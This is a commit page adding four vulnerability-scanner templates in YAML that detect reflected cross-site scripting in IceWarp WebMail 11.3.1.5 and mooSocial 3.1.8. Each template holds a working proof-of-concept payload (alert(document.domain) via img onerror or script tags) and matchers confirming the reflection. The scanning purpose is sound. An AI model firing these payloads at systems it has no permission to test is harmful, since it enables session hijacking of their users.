Merge pull request #8689 from projectdiscovery/cve-templates7

CVEs added
projectdiscovery · Nov 24, 2023 · 54c6ccd · 54c6ccd
2 parents 572d311 + 3975005
commit 54c6ccd
Show file tree

Hide file tree

Showing 4 changed files with 163 additions and 0 deletions.
diff --git a/http/cves/2017/CVE-2017-7855.yaml b/http/cves/2017/CVE-2017-7855.yaml
@@ -0,0 +1,49 @@
+id: CVE-2017-7855
+
+info:
+  name: IceWarp WebMail 11.3.1.5 - Cross-Site Scripting
+  author: r3Y3r53
+  severity: medium
+  description: |
+    IceWarp WebMail 11.3.1.5 is vulnerable to cross-site scripting via the language parameter.
+  remediation: Apply the latest security patch or upgrade to a non-vulnerable version of IceWarp WebMail.
+  reference:
+    - https://technical.nttsecurity.com/post/102eegq/cookies-are-delicious
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-7855
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2017-7855
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:icewarp:server:11.3.1.5:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    verified: true
+    vendor: icewarp
+    product: mail_server
+    shodan-query: title:"icewarp"
+  tags: cve,cve2017,xss,icewarp
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'lang=""><img src=x onerror=alert(document.domain)>'
+          - 'IceWarp'
+        condition: and
+        case-insensitive: true
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
diff --git a/http/cves/2023/CVE-2023-43325.yaml b/http/cves/2023/CVE-2023-43325.yaml
@@ -0,0 +1,38 @@
+id: CVE-2023-43325
+
+info:
+  name: MooSocial 3.1.8 - Cross-Site Scripting
+  author: r3Y3r53
+  severity: medium
+  description: |
+    A reflected cross-site scripting (XSS) vulnerability exisits in the data[redirect_url] parameter on user login function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
+  reference:
+    - https://github.com/ahrixia/CVE-2023-43325
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-43325
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2023-43325
+    cwe-id: CWE-79
+    epss-score: 0.00207
+    epss-percentile: 0.58526
+    cpe: cpe:2.3:a:moosocial:mooSocial:3.1.8:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: moosocial
+    product: mooSocial
+  tags: cve,cve2023,xss,moosocial
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/users/test%22%3E%3Cimg%20src=a%20onerror=alert(document.domain)%3Etest"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 404'
+          - 'contains(content_type, "text/html")'
+          - 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooSocial")'
+        condition: and
diff --git a/http/cves/2023/CVE-2023-43326.yaml b/http/cves/2023/CVE-2023-43326.yaml
@@ -0,0 +1,38 @@
+id: CVE-2023-43326
+
+info:
+  name: MooSocial 3.1.8 - Cross-Site Scripting
+  author: r3Y3r53
+  severity: medium
+  description: |
+    A reflected cross-site scripting (XSS) vulnerability exisits in multiple url of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
+  reference:
+    - https://github.com/ahrixia/CVE-2023-43326
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-43326
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2023-43326
+    cwe-id: CWE-79
+    epss-score: 0.00207
+    epss-percentile: 0.58526
+    cpe: cpe:2.3:a:moosocial:mooSocial:3.1.8:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    verified: true
+    vendor: moosocial
+    product: mooSocial
+  tags: cve,cve2023,xss,moosocial
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3eahrixia?step1=1"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 404'
+          - 'contains(content_type, "text/html")'
+          - 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooSocial")'
+        condition: and
diff --git a/http/cves/2023/CVE-2023-45542.yaml b/http/cves/2023/CVE-2023-45542.yaml
@@ -0,0 +1,38 @@
+id: CVE-2023-45542
+
+info:
+  name: MooSocial 3.1.8 - Cross-Site Scripting
+  author: r3Y3r53
+  severity: medium
+  description: |
+    A reflected cross-site scripting (XSS) vulnerability exisits in the q parameter on search function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
+  reference:
+    - https://github.com/ahrixia/CVE-2023-45542
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-45542
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2023-45542
+    cwe-id: CWE-79
+    epss-score: 0.00207
+    epss-percentile: 0.58526
+    cpe: cpe:2.3:a:moosocial:mooSocial:3.1.8:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    verified: true
+    vendor: moosocial
+    product: mooSocial
+  tags: cve,cve2023,xss,moosocial
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains_all(body, "<script>alert(document.domain)</script>", "mooSocial")'
+        condition: and